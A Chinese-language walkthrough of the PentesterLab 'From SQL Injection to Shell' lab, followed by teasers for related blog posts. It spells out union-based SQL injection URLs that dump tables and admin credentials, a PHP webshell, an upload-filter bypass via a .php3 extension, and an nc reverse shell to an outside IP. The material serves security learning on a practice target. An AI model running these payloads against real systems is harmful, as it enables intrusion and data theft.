一、打开靶机ip出现如下界面:

随便点一下,点到test链接,访问了如下url:http://192.168.109.131/cat.php?id=1,这里出现了一个id,常规思路这个位置可能有sql注入。然后看其他链接,都差不多,直到点到Admin的链接时,出来一个后台。

二、SQL注入先行

既然有id=1,首先看下这个id是字符还是数字,后面加一个 ' 号,出现了Mysql的报错,确认是注入无疑,而且错误提示中只出现了一个 ' ,那看来是数字型了,下面就常规注入:

1、这种靶机一般不会有太多字段,手工从0开始order by一下,直到order by到4的时候报错了,那应该有三个字段

http://192.168.109.131/cat.php?id=2%20order%20by%203

2、开始看下注入点在第几个字段,发现出现在第二个字段

http://192.168.109.131/cat.php?id=2%20and%20select%201,2,3

3、那么就开始爆破库、表

http://192.168.109.131/cat.php?id=2%20union%20select%201,schema_name,3,4%20from%20information_schema.schemata%20limit%201,2

4、爆库过程中发现都是常见的mysql默认库,直到这里发现一个首页字样的库名,库名为photoblog,拿着这个库名看下都有什么表,找到一个users的表

http://192.168.109.131/cat.php?id=2%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=0x70686f746f626c6f67%20limit%203,4

5、然后看下字段,找到了login和password两个字段

http://192.168.109.131/cat.php?id=2%20union%20select%201,column_name,3,4%20from%20information_schema.columns%20where%20table_schema=0x70686f746f626c6f67%20and%20table_name=0x7573657273%20limit%202,3

6、查看这两个数据,得到用户名密码,md5破解后得到用户名密码:admin:P4ssw0rd

http://192.168.109.131/cat.php?id=2%20union%20select%201,login,3,4%20from%20photoblog.users%20limit%201,2
http://192.168.109.131/cat.php?id=2%20union%20select%201,password,3,4%20from%20photoblog.users%20limit%201,2

7、本来想着能通过注入直接getshell,发现当前用户没有权限,放弃这个思路

http://192.168.109.131/cat.php?id=2%20union%20select%201,%27%3C?php%20phpinfo();%3E%27,3,4%20into%20outfile%20%27/var/www/test.php%27

8、nmap跑了下端口,开了ssh服务,用这个账户登录了,发现进不去,看来系统密码没有被复用

9、回到页面首页,进入后台,输入用户名密码,成功进入后台

显示了很多图片,直接看到new字样,这里有个上传功能

10、随便上传一个php,报错了,提示 NO PHP,看来不能直接上传php,重新改了个后缀名,.php.jpg,上传成功,看来是只检测了后缀名,想到php引擎可以解析php1,php2,php3,这里直接试下php3,上传成功

#webshell脚本
<?php
system($_GET['cmd']);
?>

11、通过该webshell执行nc反弹系统shell,完成该靶机任务

http://192.168.109.131/admin/uploads/function.php3?cmd=/bin/nc%2030.117.75.246%209999%20-e%20/bin/bash

请使用手机"扫一扫"x

PentesterLab-From SQL Injection to Shell的更多相关文章

  1. [SQL注入1]From SQL injection to Shell

    第一次写,希望大神们多指点. 对于刚接触WEB渗透测试这块的朋友们,很希望能有个平台可以练习.网络上有不少,十大渗透测试演练系统,我这里推荐一个在10以外,适合初学者一步一步进步的平台PENTESTE ...

  2. [SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

    FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION 这里先介绍一下POSTGRESQL.这是一款数据库管理系统,与oracle是同类型软件.08年左右的市场 ...

  3. PentesterLab-From SQL Injection to Shell: PostgreSQL edition

    一.打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入 由于PostgreSQL与MySQL不同,几个关注点需要注意下 二.order by下 ...

  4. SQL注入——SQL Injection

    本文部分内容转自:https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html http://www.diybl.com/course/7_ ...

  5. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

  6. druid sql黑名单 报异常 sql injection violation, part alway true condition not allow

    最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...

  7. PHP+MYSQL网站SQL Injection攻防

    程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...

  8. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  9. HP+MYSQL网站SQL Injection攻防

    WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...

随机推荐

  1. mysql中sql语句中常见的group_concat()函数意思以及用法,oracle中与其一样的功能函数是wmsys.wm_concat()

    1.group_concat(),手册上说明:该函数返回带有来自一个组的连接的非NULL值的字符串结果.比较抽象,难以理解. 通俗点理解,其实是这样的:group_concat()会计算哪些行属于同一 ...

  2. 巨坑:jqgrid竟然取不到编辑模式下input的值

    今天遇到最奇葩的问题,竟然取不到input的值,感觉世界观都颠覆了.后来一搜资料,又是jqgrid框架搞的鬼,真搞不明白,开发框架就好好开发框架,留这么多坑有意思吗? jqgrid编辑模式下不要调用g ...

  3. 关于git pull时出现的问题及解决反思

    前因 在前面由于已经git过一次,按照娄老师的要求,代码一个一个commit,所以删掉之前的git仓库(用la查看,使用rm -rf .git删除).但远程origin已经存在,所以执行git rem ...

  4. 20135320赵瀚青LINUX内核分析第三周学习笔记

    赵瀚青原创作品转载请注明出处<Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 概述 本周是学习的主要是构造 ...

  5. HTTP协议Keep-Alive模式详解和HTTP头字段总结

    1.什么是Keep-Alive模式? 我们知道HTTP协议采用“请求-应答”模式,当使用普通模式,即非KeepAlive模式时,每个请求/应答客户和服务器都要新建一个连接,完成 之后立即断开连接(HT ...

  6. JasperReports实现报表调出excel

    一.利用工具iReport 创建task.jrxml 模板 并生成 task.jasper 文件 二.搭建工程导入以下jar包 commons-beanutils-1.9.2.jar commons- ...

  7. springMVC多视图的支持

    1.在springmvc.xml中加上 <!-- 多视图的支持 --> <bean class="org.springframework.web.servlet.view. ...

  8. JVM与垃圾回收机制(GC)和类的生命周期

    JVM运行时数据区 GC(垃圾回收机制) 什么是垃圾回收机制: 在系统运行过程中,会产生一些无用的对象,这些对象占据着一定的内存,如果不对这些对象清理回收无用的是对象,可能会导致内存的耗尽,所以垃圾回 ...

  9. TestNG,timeOut

    这篇先来介绍@Test注释下的一个属性-timeOut.字面意思就是超时判断,详细点说.如果哪个测试方法需要监听执行的时间,那么就可以考虑采用timeOut属性.例如,实际的接口测试中,加入登录接口时 ...

  10. CSP(Content Security Policy) 入门教程

    参考: http://www.ruanyifeng.com/blog/2016/09/csp.html https://developer.mozilla.org/en-US/docs/Web/HTT ...